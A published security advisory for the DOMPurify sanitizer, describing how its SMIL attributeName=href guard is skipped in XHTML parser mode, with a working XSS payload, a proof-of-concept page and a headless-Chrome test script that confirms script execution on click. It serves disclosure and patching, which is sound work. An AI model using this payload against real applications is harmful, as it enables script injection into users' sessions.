GHSA-c6gr-qvv4-5v3f

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    GHSA-c6gr-qvv4-5v3f

    Published: 22 Oct 2026Last Modified: 27 Oct 2026

    Summary: DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml

    Details: ### Summary DOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `<animate>` or `<set>` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `"attributename"` never matches and the guard does nothing. An app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep `<animate attributeName="href" values="x;javascript:alert(1)">`. Clicking the parent link then runs the script. This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config. ### Details In `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16): ```js const lcName = transformCaseFunc(name); ... if (lcName === "attributename" && stringMatch(value, "href")) { _removeAttribute(name, currentNode, attr); continue; } ``` `transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs. People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here. The value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill="freeze"`, the last entry ends up as the effective href of the parent `<a>`. In text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed. This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past. ### Proof of concept Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x. Config: ```js const cfg = { PARSER_MEDIA_TYPE: 'application/xhtml+xml', ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; ``` `{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same. Input: ```html <svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg> ``` Steps: 1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML. ```html <html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title> <script src="purify.js"></script></head><body><div id="sink"></div> <script>//<![CDATA[ const cfg = { PARSER_MEDIA_TYPE: 'application/xhtml+xml', ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>'; const clean = DOMPurify.sanitize(dirty, cfg); console.log(clean); document.getElementById('sink').innerHTML = clean; //]]></script></body></html> ``` 2. The logged output still contains `attributeName="href"` and `values="x;javascript:alert(1)"`. 3. `document.getElementById('q').href.animVal` returns `"javascript:alert(1)"`. 4. Click "click" and `alert(1)` runs. As a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `""`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page. An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below. <details> <summary>poc.sh</summary> ```bash #!/usr/bin/env bash # PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode. # # Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml" # config that allow-lists <animate> + attributeName, renders the output into # div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse # event and reports whether alert() fired. Also runs the same allowlist in # text/html mode as a control (DOMPurify strips attributeName there). # # usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`) # DOMPURIFY_JS=/path/to/purify.js ./poc.sh # CHROME=/path/to/chrome ./poc.sh # needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary. # exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error set -euo pipefail VER="${1:-3.4.16}" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT if [ -z "${DOMPURIFY_JS:-}" ]; then (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; } DOMPURIFY_JS="$WORK/package/dist/purify.js" fi if [ -z "${CHROME:-}" ]; then for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \ "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \ "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break done fi [ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; } cat > "$WORK/poc.html" <<'EOF' <!doctype html><meta charset="utf-8"><title>poc</title> <script src="purify.js"></script> <div id="sink"></div> <script>//<![CDATA[ const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' + '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' + '<text x="10" y="40" font-size="30">click</text></a></svg>'; function run(mode) { const cfg = { ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml'; const clean = DOMPurify.sanitize(payload, cfg); document.getElementById('sink').innerHTML = clean; return clean; } //]]></script> EOF cp "$DOMPURIFY_JS" "$WORK/purify.js" # Same test inside a real XHTML document (no HTML<->XHTML context flip): # the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser. sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \ -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \ -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml" cat > "$WORK/drive.js" <<'EOF' // zero-dependency CDP driver over --remote-debugging-pipe const { spawn } = require('child_process'); const [chrome, url, dir] = process.argv.slice(2); const xurl = url.replace(/\.html$/, '.xhtml'); const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run', `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] }); let id = 0, buf = ''; const pend = new Map(), dialogs = []; p.stdio[4].on('data', (d) => { buf += d; let i; while ((i = buf.indexOf('\0')) >= 0) { const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1); if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); } else if (m.method === 'Page.javascriptDialogOpening') { dialogs.push(m.params.message); send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId); } } }); function send(method, params = {}, sessionId) { return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); }); } const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); (async () => { const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' }); const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true }); await send('Page.enable', {}, s); await send('Runtime.enable', {}, s); const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value; let vulnerable = false, xhtmlDoc = false; const ver = async () => ev('DOMPurify.version'); for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) { await send('Page.navigate', { url: page }, s); await sleep(500); const docType = await ev('document.contentType'); if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]')); dialogs.length = 0; const clean = await ev(`run(${JSON.stringify(mode)})`); await sleep(400); // let the 0.01s animation apply (fill=freeze) const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`); const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`); if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased']) await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s); await sleep(800); console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean}`); console.log(` animated <a> href (animVal): ${JSON.stringify(href)}`); console.log(` alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`); if (mode === 'xhtml' && dialogs.length) vulnerable = true; if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0; } console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable'); p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1); })().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); }); EOF node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK" ``` </details> ### Impact Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.

    Affected packages

    Package

    Name: dompurify

    Purl: pkg:npm/dompurify

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -3.4.17

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-c6gr-qvv4-5v3f | CVE-DB